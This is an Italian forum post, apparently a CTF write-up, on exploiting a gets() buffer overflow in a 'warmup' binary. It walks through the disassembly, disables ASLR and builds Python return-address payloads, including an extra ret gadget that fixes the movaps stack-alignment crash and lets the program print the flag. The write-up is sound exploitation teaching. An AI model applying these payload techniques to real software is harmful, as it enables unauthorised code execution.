SPAGHETTI HACKER

  1. MOVAPS ISSUE - bash
    log.018

    Tags
    bugs
    By AKIRA BASHO il 21 April 2023
     
    0 Comments   74 Views
    .
    ùfAuGCbO

    ;movaps attiva un errore di protezione generale quando opera su dati non allineati

    ;in questa CTF andiamo a sovrascrivere, con un buffer overflow, dopo una gets, l'indirizzo di ritorno della funzione main, con l'indirizzo della funzione easy al cui interno troviamo una system che stampa la flag contenuta nel file flag.txt

    [0x0040061d]> pdf
    ;var char *s @ rbp-0x40
    ;var char *ptr @ rbp-0x80

    0x0040061d push rbp
    0x0040061e mov rbp, rsp
    0x00400621 add rsp, 0xffffffffffffff80
    0x00400625 mov edx, 0xa ;size_t nbytes
    0x0040062a mov esi, str._Warm_Up__n ;0x400741 ; "-Warm Up-\n" ; const char *ptr
    0x0040062f mov edi, 1 ;int fd
    0x00400634 call sym.imp.write ;ssize_t write(int fd, const char *ptr, size_t nbytes)

    ;stampa la stringa -Warm-Up-

    0x00400639 mov edx, 4 ;size_t nbytes
    0x0040063e mov esi, str.WOW: ;0x40074c ; "WOW:" ; const char *ptr
    0x00400643 mov edi, 1 ;int fd
    0x00400648 call sym.imp.write ;ssize_t write(int fd, const char *ptr, size_t nbytes)

    ;stampa la stringa WOW:

    0x0040064d lea rax, [ptr]
    0x00400651 mov edx, sym.easy ;0x40060d ; ...
    0x00400656 mov esi, 0x400751 ;const char *format
    0x0040065b mov rdi, rax ;char *s
    0x0040065e mov eax, 0
    0x00400663 call sym.imp.sprintf ;int sprintf(char *s, const char *format, ...)

    ;0x400751: "%p\n"
    ;prepara la stringa dell'indirizzo della funzione easy da stampare

    0x00400668 lea rax, [ptr]
    0x0040066c mov edx, 9 ;size_t nbytes
    0x00400671 mov rsi, rax ;const char *ptr
    0x00400674 mov edi, 1 ;int fd
    0x00400679 call sym.imp.write ;ssize_t write(int fd, const char *ptr, size_t nbytes)

    ;stampa sul terminale l'indirizzo della funzione easy 0x40060d; che possiamo ricavarci anche con objdump

    objdump -D -M intel ./warmup | grep easy
    000000000040060d <easy>

    0x0040067e mov edx, 1 ;size_t nbytes
    0x00400683 mov esi, 0x400755 ;const char *ptr
    0x00400688 mov edi, 1 ;int fd
    0x0040068d call sym.imp.write ;ssize_t write(int fd, const char *ptr, size_t nbytes)

    ;stampa il carattere >

    0x00400692 lea rax, [s]
    0x00400696 mov rdi, rax ;char *s
    0x00400699 mov eax, 0
    0x0040069e call sym.imp.gets ;char *gets(char *s)

    ;legge il buffer; qui avviene l'ipotetico buffer overflow

    0x004006a3 leave
    0x004006a4 ret

    #echo 0 > /proc/sys/kernel/randomize_va_space
    #exit

    ;disattiviamo l'ASLR, per poter dopo la chiamata alla system saltare alla funzione exit in libc e evitare la SIGSEV

    ldd ./warmup
    linux-vdso.so.1 (0x00007ffff7fc1000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc3000)

    ;abbiamo l'indirizzo della libc (0x00007ffff7c00000)

    readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep exit
    2760: 00000000000455f0 32 FUNC GLOBAL DEFAULT 15 exit@@GLIBC_2.2.5

    ;e l'offset della funzione exit all'interno della libc 455f0
    ;exit_address = 0x00007ffff7c00000 + 00000000000455f0 = 0x00007ffff7c455f0
    ;questo è l'indirizzo della funzione exit all'interno della libc 0x00007ffff7c455f0

    python -c 'import struct; print "A"*72 + struct.pack("Q",0x40060d) + struct.pack("Q",0x7ffff7c455f0)' > bz

    ./warmup < bz
    Warm Up-
    WOW:0x40060d
    >Errore di segmentazione (core dump creato)

    [ 3733.773338] traps: warmup[11641] general protection fault ip:7ffff7c50963 sp:7fffffffdae8 error:0 in libc.so.6[7ffff7c28000+195000]

    ;dopo 72 byte attraverso il buffer overflow andiamo a sovrascrivere l'indirizzo di ritorno della funzione main, in modo da saltare all'indirizzo della funzione easy;

    ltrace ./warmup < ./bz__libc_start_main(0x40061d, 1, 0x7fffffffdfb8, 0x4006b0 <unfinished ...>
    write(1, "-Warm Up-\n", 10-Warm Up-
    ) = 10
    write(1, "WOW:", 4WOW:) = 4
    sprintf("0x40060d\n", "%p\n", 0x40060d) = 9
    write(1, "0x40060d\n", 90x40060d
    ) = 9
    write(1, ">", 1>) = 1
    gets(0x7fffffffde60, 0x400755, 1, 0x7ffff7d14a37) = 0x7fffffffde60
    system("cat flag.txt" <no return ...>
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++

    ....

    [00007ffff7d1a9db] brk(NULL) = 0x602000
    [00007ffff7d1a9db] brk(0x623000) = 0x623000
    [00007ffff7d14992] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 89
    [00007ffff7c50963] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
    [????????????????] +++ killed by SIGSEGV (core dumped) +++
    Errore di segmentazione (core dump creato)

    ;come si vede dagli output di ltrace e strace, e dall'immagine di gdb-peda qui sotto, abbiamo una SIGSEV dovuta alla movaps issue, cioè al non allineamento dei dati nello stack;
    GonGokq
    ;per risolvere questo problema si va ad aggiungere un ulteriore istruzione "ret" prima dell'indirizzo della funzione easy; così andiamo a sovrascrivere l'indirizzo di ritorno della funzione main con l'indirizzo di questa ret che a sua volta richiamerà l'indirizzo della funzione easy; quando "ret" viene richiamato, incrementa $rsp di 8, andando ad allineare i dati nello stack; pertanto, si può semplicemente aggiungere un fittizio "ret" per allineare $rsp a 16 byte; ci sono molte istruzioni "ret" nel file binario; abbiamo scelto l'indirizzo dell'istruzione ret che si trova all'indirizzo 0x4004a1

    objdump -D -M intel ./warmup | grep ret
    4004a1: c3 ret

    python -c 'import struct; print "A"*72+ struct.pack("Q",0x4004a1) + struct.pack("Q",0x40060d) + struct.pack("Q",0x7ffff7c455f0) + struct.pack("Q",0x7ffff7c455f0)' > bz
    $./warmup < ./bz
    -Warm Up-
    WOW:0x40060d
    >flag here


    Edited by HCF - 27/4/2024, 20:22
      Share  
     
    .